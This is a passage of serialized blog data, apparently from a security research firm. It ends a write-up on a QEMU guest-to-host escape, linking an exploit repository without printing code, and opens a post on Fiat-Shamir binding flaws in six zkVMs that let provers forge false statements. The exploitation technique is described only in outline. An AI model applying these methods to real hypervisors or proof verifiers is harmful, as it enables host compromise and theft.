system:\n",{"type":26,"tag":42610,"props":42611,"children":42612},"br",{},[],{"type":26,"tag":42614,"props":42615,"children":42622},"tweet-card",{"author-name":42616,"date":42617,"duration":42618,"handle":42619,"media-mime-type":18810,"media-src":42620,"media-type":8091,"tweet-url":42621},"OtterSec","March 5, 2026","0:12","@osec_io","/posts/virtio-snd-qemu-0day/demo.mp4","https://x.com/osec_io/status/2029643325125390550",[42623,42628,42633],{"type":26,"tag":39,"props":42624,"children":42625},{},[42626],{"type":32,"value":42627},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":26,"tag":39,"props":42629,"children":42630},{},[42631],{"type":32,"value":42632},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":26,"tag":39,"props":42634,"children":42635},{},[42636],{"type":32,"value":42637},"Writeup coming next week.",{"type":26,"tag":42610,"props":42639,"children":42640},{},[],{"type":26,"tag":39,"props":42642,"children":42643},{},[42644,42646,42652,42654,42660],{"type":32,"value":42645},"The final exploit, targeting QEMU commit ",{"type":26,"tag":83,"props":42647,"children":42649},{"className":42648},[],[42650],{"type":32,"value":42651},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":32,"value":42653}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":26,"tag":163,"props":42655,"children":42658},{"href":42656,"rel":42657},"https://github.com/otter-sec/qemu-escape",[167],[42659],{"type":32,"value":8807},{"type":32,"value":180},{"type":26,"tag":39,"props":42662,"children":42663},{},[42664,42666,42673],{"type":32,"value":42665},"Special thanks to ",{"type":26,"tag":163,"props":42667,"children":42670},{"href":42668,"rel":42669},"https://www.willsroot.io/",[167],[42671],{"type":32,"value":42672},"William Liu",{"type":32,"value":42674}," for proofreading this post and helping us polish it before publication.",{"type":26,"tag":27,"props":42676,"children":42677},{"id":9272},[42678],{"type":32,"value":9275},{"type":26,"tag":39,"props":42680,"children":42681},{},[42682],{"type":32,"value":42683},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":26,"tag":39,"props":42685,"children":42686},{},[42687],{"type":32,"value":42688},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":26,"tag":9282,"props":42690,"children":42691},{},[42692],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":42694},[42695,42698,42701,42710],{"id":34398,"depth":6770,"text":34411,"children":42696},[42697],{"id":34419,"depth":6779,"text":34422},{"id":34443,"depth":6770,"text":34446,"children":42699},[42700],{"id":34457,"depth":6779,"text":34457},{"id":37050,"depth":6770,"text":37053,"children":42702},[42703,42704,42705,42706,42707,42708,42709],{"id":37066,"depth":6779,"text":37069},{"id":38595,"depth":6779,"text":38598},{"id":39391,"depth":6779,"text":39394},{"id":39796,"depth":6779,"text":39799},{"id":40012,"depth":6779,"text":40015},{"id":40218,"depth":6779,"text":40221},{"id":42519,"depth":6779,"text":42522},{"id":9272,"depth":6770,"text":9275},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":42715,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":42716,"description":42717,"date":42718,"author":42719,"image":42720,"isFeatured":17,"onBlogPage":17,"tags":42722,"body":42724,"_type":6799,"_id":58518,"_source":6801,"_file":58519,"_stem":58520,"_extension":6804},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[18869,18870],{"src":42721,"width":6816,"height":6817},"/posts/zkvms-unfaithful-claims/title.png",[42723],"zkVM",{"type":23,"children":42725,"toc":58482},[42726,42731,42773,42786,42789,42795,42800,42928,42931,42937,42943,42948,42980,43132,43137,43260,43271,43282,43305,43316,43321,43354,43362,43367,43370,43376,43381,43387,43392,43397,43405,43424,43565,43570,43576,43668,44400,44468,44479,44487,44958,44964,45402,45742,45894,45899,46785,46942,46948,47040,47045,47628,48078,48154,48160,48165,48233,48243,48260,48270,48332,48743,48775,48785,48959,48964,48974,49580,49769,49787,49790,49796,49801,49809,49841,50201,50206,50289,50292,50298,50306,50311,50314,50320,50325,50333,50341,50349,50357,50390,50398,50406,50497,50748,51075,51083,51113,51282,51608,51613,51618,51635,51638,51643,51648,51660,51672,52263,52275,52287,52294,52302,52314,52322,52337,52342,52622,52641,52736,52755,52771,52774,52780,52785,52790,52797,52805,52812,52820,52833,52851,53311,53413,53418,53423,53439,53442,53448,53453,53465,53476,53481,53870,53877,53885,53910,53930,54186,54197,54216,54600,54946,55176,55335,55495,56063,56068,56094,56097,56103,56108,56115,56123,56136,56211,56222,56230,56240,56248,56259,56534,56623,56652,56655,56660,56792,56804,56811,56816,56977,57003,57010,57018,57023,57090,57095,57484,57571,57587,57590,57596,57601,57607,57705,57764,57769,57775,57780,57788,57793,57799,57804,57809,57815,57820,57823,57829,57835,57840,57845,57850,57855,57860,57863,57869,58028,58033,58036,58041,58052,58367,58372,58396,58401,58419,58424,58427,58433,58438,58443,58453,58458,58468,58478],{"type":26,"tag":39,"props":42727,"children":42728},{},[42729],{"type":32,"value":42730},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":26,"tag":39,"props":42732,"children":42733},{},[42734,42736,42741,42742,42747,42748,42753,42754,42759,42760,42765,42766,42771],{"type":32,"value":42735},"We found six systems where this faithfulness breaks. Across ",{"type":26,"tag":9348,"props":42737,"children":42738},{},[42739],{"type":32,"value":42740},"Jolt",{"type":32,"value":7599},{"type":26,"tag":9348,"props":42743,"children":42744},{},[42745],{"type":32,"value":42746},"Nexus",{"type":32,"value":7599},{"type":26,"tag":9348,"props":42749,"children":42750},{},[42751],{"type":32,"value":42752},"Cairo-M",{"type":32,"value":7599},{"type":26,"tag":9348,"props":42755,"children":42756},{},[42757],{"type":32,"value":42758},"Ceno",{"type":32,"value":7599},{"type":26,"tag":9348,"props":42761,"children":42762},{},[42763],{"type":32,"value":42764},"Expander",{"type":32,"value":17577},{"type":26,"tag":9348,"props":42767,"children":42768},{},[42769],{"type":32,"value":42770},"Binius64",{"type":32,"value":42772},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":26,"tag":39,"props":42774,"children":42775},{},[42776,42778,42784],{"type":32,"value":42777},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":26,"tag":163,"props":42779,"children":42781},{"href":42780},"#challenges",[42782],{"type":32,"value":42783},"Challenges",{"type":32,"value":42785}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":26,"tag":11933,"props":42787,"children":42788},{},[],{"type":26,"tag":27,"props":42790,"children":42792},{"id":42791},"jargon-cheat-sheet",[42793],{"type":32,"value":42794},"Jargon Cheat Sheet",{"type":26,"tag":39,"props":42796,"children":42797},{},[42798],{"type":32,"value":42799},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":26,"tag":2040,"props":42801,"children":42802},{},[42803,42813,42823,42833,42843,42853,42863,42873,42883,42893,42903,42913],{"type":26,"tag":2044,"props":42804,"children":42805},{},[42806,42811],{"type":26,"tag":9348,"props":42807,"children":42808},{},[42809],{"type":32,"value":42810},"Fiat-Shamir",{"type":32,"value":42812},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":26,"tag":2044,"props":42814,"children":42815},{},[42816,42821],{"type":26,"tag":9348,"props":42817,"children":42818},{},[42819],{"type":32,"value":42820},"Transcript",{"type":32,"value":42822},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":26,"tag":2044,"props":42824,"children":42825},{},[42826,42831],{"type":26,"tag":9348,"props":42827,"children":42828},{},[42829],{"type":32,"value":42830},"Polynomial Commitment",{"type":32,"value":42832},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":26,"tag":2044,"props":42834,"children":42835},{},[42836,42841],{"type":26,"tag":9348,"props":42837,"children":42838},{},[42839],{"type":32,"value":42840},"Sumcheck",{"type":32,"value":42842},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":26,"tag":2044,"props":42844,"children":42845},{},[42846,42851],{"type":26,"tag":9348,"props":42847,"children":42848},{},[42849],{"type":32,"value":42850},"MLE (Multilinear Extension)",{"type":32,"value":42852},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":26,"tag":2044,"props":42854,"children":42855},{},[42856,42861],{"type":26,"tag":9348,"props":42857,"children":42858},{},[42859],{"type":32,"value":42860},"Lookup / LogUp",{"type":32,"value":42862},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":26,"tag":2044,"props":42864,"children":42865},{},[42866,42871],{"type":26,"tag":9348,"props":42867,"children":42868},{},[42869],{"type":32,"value":42870},"AIR",{"type":32,"value":42872},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":26,"tag":2044,"props":42874,"children":42875},{},[42876,42881],{"type":26,"tag":9348,"props":42877,"children":42878},{},[42879],{"type":32,"value":42880},"STARK",{"type":32,"value":42882},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":26,"tag":2044,"props":42884,"children":42885},{},[42886,42891],{"type":26,"tag":9348,"props":42887,"children":42888},{},[42889],{"type":32,"value":42890},"FRI",{"type":32,"value":42892},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":26,"tag":2044,"props":42894,"children":42895},{},[42896,42901],{"type":26,"tag":9348,"props":42897,"children":42898},{},[42899],{"type":32,"value":42900},"OODS",{"type":32,"value":42902},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":26,"tag":2044,"props":42904,"children":42905},{},[42906,42911],{"type":26,"tag":9348,"props":42907,"children":42908},{},[42909],{"type":32,"value":42910},"GKR",{"type":32,"value":42912},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":26,"tag":2044,"props":42914,"children":42915},{},[42916,42921,42923],{"type":26,"tag":9348,"props":42917,"children":42918},{},[42919],{"type":32,"value":42920},"claimed_sum / opening_claim",{"type":32,"value":42922},": Prover-supplied values that feed into verification equations. ",{"type":26,"tag":9348,"props":42924,"children":42925},{},[42926],{"type":32,"value":42927},"These are the usual suspects for binding bugs.",{"type":26,"tag":11933,"props":42929,"children":42930},{},[],{"type":26,"tag":27,"props":42932,"children":42934},{"id":42933},"what-are-we-even-breaking",[42935],{"type":32,"value":42936},"What Are We Even Breaking?",{"type":26,"tag":607,"props":42938,"children":42940},{"id":42939},"what-is-a-zkvm",[42941],{"type":32,"value":42942},"What is a zkVM?",{"type":26,"tag":39,"props":42944,"children":42945},{},[42946],{"type":32,"value":42947},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":26,"tag":39,"props":42949,"children":42950},{},[42951,42953,42978],{"type":32,"value":42952},"Formally, the verifier is convinced that there exists a valid trace ",{"type":26,"tag":83,"props":42954,"children":42956},{"className":42955},[213,4703],[42957],{"type":26,"tag":217,"props":42958,"children":42960},{"className":42959},[225],[42961],{"type":26,"tag":217,"props":42962,"children":42964},{"className":42963,"ariaHidden":231},[230],[42965],{"type":26,"tag":217,"props":42966,"children":42968},{"className":42967},[236],[42969,42973],{"type":26,"tag":217,"props":42970,"children":42972},{"className":42971,"style":4800},[241],[],{"type":26,"tag":217,"props":42974,"children":42976},{"className":42975,"style":2153},[247,2152],[42977],{"type":32,"value":178},{"type":32,"value":42979}," such that:",{"type":26,"tag":39,"props":42981,"children":42982},{},[42983],{"type":26,"tag":83,"props":42984,"children":42986},{"className":42985},[213,4703],[42987],{"type":26,"tag":217,"props":42988,"children":42990},{"className":42989},[225],[42991],{"type":26,"tag":217,"props":42992,"children":42994},{"className":42993,"ariaHidden":231},[230],[42995,43040,43117],{"type":26,"tag":217,"props":42996,"children":42998},{"className":42997},[236],[42999,43004,43010,43014,43019,43023,43027,43032,43036],{"type":26,"tag":217,"props":43000,"children":43003},{"className":43001,"style":43002},[241],"height:0.6944em;",[],{"type":26,"tag":217,"props":43005,"children":43007},{"className":43006},[247],[43008],{"type":32,"value":43009},"∃",{"type":26,"tag":217,"props":43011,"children":43013},{"className":43012,"style":259},[258],[],{"type":26,"tag":217,"props":43015,"children":43017},{"className":43016,"style":2153},[247,2152],[43018],{"type":32,"value":178},{"type":26,"tag":217,"props":43020,"children":43022},{"className":43021,"style":259},[258],[],{"type":26,"tag":217,"props":43024,"children":43026},{"className":43025,"style":259},[258],[],{"type":26,"tag":217,"props":43028,"children":43030},{"className":43029},[264],[43031],{"type":32,"value":1473},{"type":26,"tag":217,"props":43033,"children":43035},{"className":43034,"style":259},[258],[],{"type":26,"tag":217,"props":43037,"children":43039},{"className":43038,"style":259},[258],[],{"type":26,"tag":217,"props":43041,"children":43043},{"className":43042},[236],[43044,43048,43059,43064,43069,43074,43078,43084,43089,43093,43098,43103,43107,43113],{"type":26,"tag":217,"props":43045,"children":43047},{"className":43046,"style":5514},[241],[],{"type":26,"tag":217,"props":43049,"children":43051},{"className":43050},[247],[43052],{"type":26,"tag":217,"props":43053,"children":43056},{"className":43054},[247,43055],"mathsf",[43057],{"type":32,"value":43058},"VM",{"type":26,"tag":217,"props":43060,"children":43062},{"className":43061},[288],[43063],{"type":32,"value":1851},{"type":26,"tag":217,"props":43065,"children":43067},{"className":43066,"style":2153},[247,2152],[43068],{"type":32,"value":2156},{"type":26,"tag":217,"props":43070,"children":43072},{"className":43071},[1865],[43073],{"type":32,"value":1868},{"type":26,"tag":217,"props":43075,"children":43077},{"className":43076,"style":1872},[258],[],{"type":26,"tag":217,"props":43079,"children":43081},{"className":43080,"style":2230},[247,2152],[43082],{"type":32,"value":43083},"X",{"type":26,"tag":217,"props":43085,"children":43087},{"className":43086},[1865],[43088],{"type":32,"value":1868},{"type":26,"tag":217,"props":43090,"children":43092},{"className":43091,"style":1872},[258],[],{"type":26,"tag":217,"props":43094,"children":43096},{"className":43095,"style":2153},[247,2152],[43097],{"type":32,"value":178},{"type":26,"tag":217,"props":43099,"children":43101},{"className":43100},[428],[43102],{"type":32,"value":1889},{"type":26,"tag":217,"props":43104,"children":43106},{"className":43105,"style":259},[258],[],{"type":26,"tag":217,"props":43108,"children":43110},{"className":43109},[264],[43111],{"type":32,"value":43112},"→",{"type":26,"tag":217,"props":43114,"children":43116},{"className":43115,"style":259},[258],[],{"type":26,"tag":217,"props":43118,"children":43120},{"className":43119},[236],[43121,43125],{"type":26,"tag":217,"props":43122,"children":43124},{"className":43123,"style":4800},[241],[],{"type":26,"tag":217,"props":43126,"children":43129},{"className":43127,"style":43128},[247,2152],"margin-right:0.22222em;",[43130],{"type":32,"value":43131},"Y",{"type":26,"tag":39,"props":43133,"children":43134},{},[43135],{"type":32,"value":43136},"where:",{"type":26,"tag":2040,"props":43138,"children":43139},{},[43140,43170,43200,43230],{"type":26,"tag":2044,"props":43141,"children":43142},{},[43143,43168],{"type":26,"tag":83,"props":43144,"children":43146},{"className":43145},[213,4703],[43147],{"type":26,"tag":217,"props":43148,"children":43150},{"className":43149},[225],[43151],{"type":26,"tag":217,"props":43152,"children":43154},{"className":43153,"ariaHidden":231},[230],[43155],{"type":26,"tag":217,"props":43156,"children":43158},{"className":43157},[236],[43159,43163],{"type":26,"tag":217,"props":43160,"children":43162},{"className":43161,"style":4800},[241],[],{"type":26,"tag":217,"props":43164,"children":43166},{"className":43165,"style":2153},[247,2152],[43167],{"type":32,"value":2156},{"type":32,"value":43169}," = program/circuit description (public)",{"type":26,"tag":2044,"props":43171,"children":43172},{},[43173,43198],{"type":26,"tag":83,"props":43174,"children":43176},{"className":43175},[213,4703],[43177],{"type":26,"tag":217,"props":43178,"children":43180},{"className":43179},[225],[43181],{"type":26,"tag":217,"props":43182,"children":43184},{"className":43183,"ariaHidden":231},[230],[43185],{"type":26,"tag":217,"props":43186,"children":43188},{"className":43187},[236],[43189,43193],{"type":26,"tag":217,"props":43190,"children":43192},{"className":43191,"style":4800},[241],[],{"type":26,"tag":217,"props":43194,"children":43196},{"className":43195,"style":2230},[247,2152],[43197],{"type":32,"value":43083},{"type":32,"value":43199}," = public input",{"type":26,"tag":2044,"props":43201,"children":43202},{},[43203,43228],{"type":26,"tag":83,"props":43204,"children":43206},{"className":43205},[213,4703],[43207],{"type":26,"tag":217,"props":43208,"children":43210},{"className":43209},[225],[43211],{"type":26,"tag":217,"props":43212,"children":43214},{"className":43213,"ariaHidden":231},[230],[43215],{"type":26,"tag":217,"props":43216,"children":43218},{"className":43217},[236],[43219,43223],{"type":26,"tag":217,"props":43220,"children":43222},{"className":43221,"style":4800},[241],[],{"type":26,"tag":217,"props":43224,"children":43226},{"className":43225,"style":43128},[247,2152],[43227],{"type":32,"value":43131},{"type":32,"value":43229}," = claimed public output",{"type":26,"tag":2044,"props":43231,"children":43232},{},[43233,43258],{"type":26,"tag":83,"props":43234,"children":43236},{"className":43235},[213,4703],[43237],{"type":26,"tag":217,"props":43238,"children":43240},{"className":43239},[225],[43241],{"type":26,"tag":217,"props":43242,"children":43244},{"className":43243,"ariaHidden":231},[230],[43245],{"type":26,"tag":217,"props":43246,"children":43248},{"className":43247},[236],[43249,43253],{"type":26,"tag":217,"props":43250,"children":43252},{"className":43251,"style":4800},[241],[],{"type":26,"tag":217,"props":43254,"children":43256},{"className":43255,"style":2153},[247,2152],[43257],{"type":32,"value":178},{"type":32,"value":43259}," = private witness/trace (registers, memory history, intermediate values)",{"type":26,"tag":39,"props":43261,"children":43262},{},[43263,43265,43269],{"type":32,"value":43264},"The verifier does ",{"type":26,"tag":9348,"props":43266,"children":43267},{},[43268],{"type":32,"value":22949},{"type":32,"value":43270}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":26,"tag":39,"props":43272,"children":43273},{},[43274,43276,43281],{"type":32,"value":43275},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":26,"tag":9348,"props":43277,"children":43278},{},[43279],{"type":32,"value":43280},"soundness",{"type":32,"value":1473},{"type":26,"tag":2040,"props":43283,"children":43284},{},[43285,43295],{"type":26,"tag":2044,"props":43286,"children":43287},{},[43288,43293],{"type":26,"tag":9348,"props":43289,"children":43290},{},[43291],{"type":32,"value":43292},"Completeness",{"type":32,"value":43294},": honest execution verifies.",{"type":26,"tag":2044,"props":43296,"children":43297},{},[43298,43303],{"type":26,"tag":9348,"props":43299,"children":43300},{},[43301],{"type":32,"value":43302},"Soundness",{"type":32,"value":43304},": false execution should not verify.",{"type":26,"tag":39,"props":43306,"children":43307},{},[43308,43310,43314],{"type":32,"value":43309},"We are breaking ",{"type":26,"tag":9348,"props":43311,"children":43312},{},[43313],{"type":32,"value":43280},{"type":32,"value":43315}," in all six systems.",{"type":26,"tag":39,"props":43317,"children":43318},{},[43319],{"type":32,"value":43320},"In all six codebases, verification follows this abstract flow:",{"type":26,"tag":6712,"props":43322,"children":43323},{},[43324,43329,43334,43339,43344,43349],{"type":26,"tag":2044,"props":43325,"children":43326},{},[43327],{"type":32,"value":43328},"Fix public statement data.",{"type":26,"tag":2044,"props":43330,"children":43331},{},[43332],{"type":32,"value":43333},"Parse proof payload (commitments, reduction messages, openings).",{"type":26,"tag":2044,"props":43335,"children":43336},{},[43337],{"type":32,"value":43338},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":26,"tag":2044,"props":43340,"children":43341},{},[43342],{"type":32,"value":43343},"Check constraint equations at sampled points.",{"type":26,"tag":2044,"props":43345,"children":43346},{},[43347],{"type":32,"value":43348},"Check PCS/opening consistency.",{"type":26,"tag":2044,"props":43350,"children":43351},{},[43352],{"type":32,"value":43353},"Accept only if all checks are jointly consistent.",{"type":26,"tag":39,"props":43355,"children":43356},{},[43357],{"type":26,"tag":6468,"props":43358,"children":43361},{"alt":43359,"src":43360},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":26,"tag":39,"props":43363,"children":43364},{},[43365],{"type":32,"value":43366},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":26,"tag":11933,"props":43368,"children":43369},{},[],{"type":26,"tag":27,"props":43371,"children":43373},{"id":43372},"the-building-blocks",[43374],{"type":32,"value":43375},"The Building Blocks",{"type":26,"tag":39,"props":43377,"children":43378},{},[43379],{"type":32,"value":43380},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":26,"tag":607,"props":43382,"children":43384},{"id":43383},"the-fiat-shamir-transform",[43385],{"type":32,"value":43386},"The Fiat-Shamir Transform",{"type":26,"tag":39,"props":43388,"children":43389},{},[43390],{"type":32,"value":43391},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":26,"tag":39,"props":43393,"children":43394},{},[43395],{"type":32,"value":43396},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":26,"tag":39,"props":43398,"children":43399},{},[43400],{"type":26,"tag":6468,"props":43401,"children":43404},{"alt":43402,"src":43403},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":26,"tag":39,"props":43406,"children":43407},{},[43408,43410,43415,43417,43422],{"type":32,"value":43409},"The hash (transcript) ",{"type":26,"tag":9348,"props":43411,"children":43412},{},[43413],{"type":32,"value":43414},"must",{"type":32,"value":43416}," include everything that affects verification ",{"type":26,"tag":9348,"props":43418,"children":43419},{},[43420],{"type":32,"value":43421},"BEFORE",{"type":32,"value":43423}," the challenges derived from it are used.",{"type":26,"tag":39,"props":43425,"children":43426},{},[43427,43429,43455,43457,43482,43484,43509,43511,43536,43538,43563],{"type":32,"value":43428},"If some value ",{"type":26,"tag":83,"props":43430,"children":43432},{"className":43431},[213,4703],[43433],{"type":26,"tag":217,"props":43434,"children":43436},{"className":43435},[225],[43437],{"type":26,"tag":217,"props":43438,"children":43440},{"className":43439,"ariaHidden":231},[230],[43441],{"type":26,"tag":217,"props":43442,"children":43444},{"className":43443},[236],[43445,43449],{"type":26,"tag":217,"props":43446,"children":43448},{"className":43447,"style":4800},[241],[],{"type":26,"tag":217,"props":43450,"children":43452},{"className":43451,"style":43128},[247,2152],[43453],{"type":32,"value":43454},"V",{"type":32,"value":43456}," affects a verification equation, but ",{"type":26,"tag":83,"props":43458,"children":43460},{"className":43459},[213,4703],[43461],{"type":26,"tag":217,"props":43462,"children":43464},{"className":43463},[225],[43465],{"type":26,"tag":217,"props":43466,"children":43468},{"className":43467,"ariaHidden":231},[230],[43469],{"type":26,"tag":217,"props":43470,"children":43472},{"className":43471},[236],[43473,43477],{"type":26,"tag":217,"props":43474,"children":43476},{"className":43475,"style":4800},[241],[],{"type":26,"tag":217,"props":43478,"children":43480},{"className":43479,"style":43128},[247,2152],[43481],{"type":32,"value":43454},{"type":32,"value":43483}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":26,"tag":83,"props":43485,"children":43487},{"className":43486},[213,4703],[43488],{"type":26,"tag":217,"props":43489,"children":43491},{"className":43490},[225],[43492],{"type":26,"tag":217,"props":43493,"children":43495},{"className":43494,"ariaHidden":231},[230],[43496],{"type":26,"tag":217,"props":43497,"children":43499},{"className":43498},[236],[43500,43504],{"type":26,"tag":217,"props":43501,"children":43503},{"className":43502,"style":4800},[241],[],{"type":26,"tag":217,"props":43505,"children":43507},{"className":43506,"style":43128},[247,2152],[43508],{"type":32,"value":43454},{"type":32,"value":43510},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":26,"tag":83,"props":43512,"children":43514},{"className":43513},[213,4703],[43515],{"type":26,"tag":217,"props":43516,"children":43518},{"className":43517},[225],[43519],{"type":26,"tag":217,"props":43520,"children":43522},{"className":43521,"ariaHidden":231},[230],[43523],{"type":26,"tag":217,"props":43524,"children":43526},{"className":43525},[236],[43527,43531],{"type":26,"tag":217,"props":43528,"children":43530},{"className":43529,"style":4800},[241],[],{"type":26,"tag":217,"props":43532,"children":43534},{"className":43533,"style":43128},[247,2152],[43535],{"type":32,"value":43454},{"type":32,"value":43537},", which may allow it to choose ",{"type":26,"tag":83,"props":43539,"children":43541},{"className":43540},[213,4703],[43542],{"type":26,"tag":217,"props":43543,"children":43545},{"className":43544},[225],[43546],{"type":26,"tag":217,"props":43547,"children":43549},{"className":43548,"ariaHidden":231},[230],[43550],{"type":26,"tag":217,"props":43551,"children":43553},{"className":43552},[236],[43554,43558],{"type":26,"tag":217,"props":43555,"children":43557},{"className":43556,"style":4800},[241],[],{"type":26,"tag":217,"props":43559,"children":43561},{"className":43560,"style":43128},[247,2152],[43562],{"type":32,"value":43454},{"type":32,"value":43564}," exactly so that the verification passes, even though it should not.",{"type":26,"tag":39,"props":43566,"children":43567},{},[43568],{"type":32,"value":43569},"This is the bug class we found in all six systems.",{"type":26,"tag":607,"props":43571,"children":43573},{"id":43572},"the-sumcheck-protocol",[43574],{"type":32,"value":43575},"The Sumcheck Protocol",{"type":26,"tag":39,"props":43577,"children":43578},{},[43579,43581,43666],{"type":32,"value":43580},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":26,"tag":83,"props":43582,"children":43584},{"className":43583},[213,4703],[43585],{"type":26,"tag":217,"props":43586,"children":43588},{"className":43587},[225],[43589],{"type":26,"tag":217,"props":43590,"children":43592},{"className":43591,"ariaHidden":231},[230],[43593],{"type":26,"tag":217,"props":43594,"children":43596},{"className":43595},[236],[43597,43601,43606,43611,43616,43620,43625],{"type":26,"tag":217,"props":43598,"children":43600},{"className":43599,"style":5514},[241],[],{"type":26,"tag":217,"props":43602,"children":43604},{"className":43603},[288],[43605],{"type":32,"value":25667},{"type":26,"tag":217,"props":43607,"children":43609},{"className":43608},[247],[43610],{"type":32,"value":1883},{"type":26,"tag":217,"props":43612,"children":43614},{"className":43613},[1865],[43615],{"type":32,"value":1868},{"type":26,"tag":217,"props":43617,"children":43619},{"className":43618,"style":1872},[258],[],{"type":26,"tag":217,"props":43621,"children":43623},{"className":43622},[247],[43624],{"type":32,"value":185},{"type":26,"tag":217,"props":43626,"children":43628},{"className":43627},[428],[43629,43634],{"type":26,"tag":217,"props":43630,"children":43632},{"className":43631},[428],[43633],{"type":32,"value":7659},{"type":26,"tag":217,"props":43635,"children":43637},{"className":43636},[2160],[43638],{"type":26,"tag":217,"props":43639,"children":43641},{"className":43640},[299],[43642],{"type":26,"tag":217,"props":43643,"children":43645},{"className":43644},[305],[43646],{"type":26,"tag":217,"props":43647,"children":43649},{"className":43648,"style":6084},[310],[43650],{"type":26,"tag":217,"props":43651,"children":43652},{"style":6105},[43653,43657],{"type":26,"tag":217,"props":43654,"children":43656},{"className":43655,"style":2182},[320],[],{"type":26,"tag":217,"props":43658,"children":43660},{"className":43659},[2187,2188,2189,2190],[43661],{"type":26,"tag":217,"props":43662,"children":43664},{"className":43663},[247,2152,2190],[43665],{"type":32,"value":2197},{"type":32,"value":43667},"), i.e the claim:",{"type":26,"tag":39,"props":43669,"children":43670},{},[43671],{"type":26,"tag":83,"props":43672,"children":43674},{"className":43673},[213,4703],[43675],{"type":26,"tag":217,"props":43676,"children":43678},{"className":43677},[225],[43679],{"type":26,"tag":217,"props":43680,"children":43682},{"className":43681,"ariaHidden":231},[230],[43683,43709],{"type":26,"tag":217,"props":43684,"children":43686},{"className":43685},[236],[43687,43691,43696,43700,43705],{"type":26,"tag":217,"props":43688,"children":43690},{"className":43689,"style":4800},[241],[],{"type":26,"tag":217,"props":43692,"children":43694},{"className":43693,"style":2680},[247,2152],[43695],{"type":32,"value":2683},{"type":26,"tag":217,"props":43697,"children":43699},{"className":43698,"style":259},[258],[],{"type":26,"tag":217,"props":43701,"children":43703},{"className":43702},[264],[43704],{"type":32,"value":267},{"type":26,"tag":217,"props":43706,"children":43708},{"className":43707,"style":259},[258],[],{"type":26,"tag":217,"props":43710,"children":43712},{"className":43711},[236],[43713,43718,43867,43871,44014,44018,44025,44029,44173,44177,44182,44187,44244,44249,44253,44310,44315,44319,44325,44329,44334,44338,44395],{"type":26,"tag":217,"props":43714,"children":43717},{"className":43715,"style":43716},[241],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":26,"tag":217,"props":43719,"children":43721},{"className":43720},[1842],[43722,43727],{"type":26,"tag":217,"props":43723,"children":43725},{"className":43724,"style":22482},[1842,4049,22481],[43726],{"type":32,"value":4053},{"type":26,"tag":217,"props":4372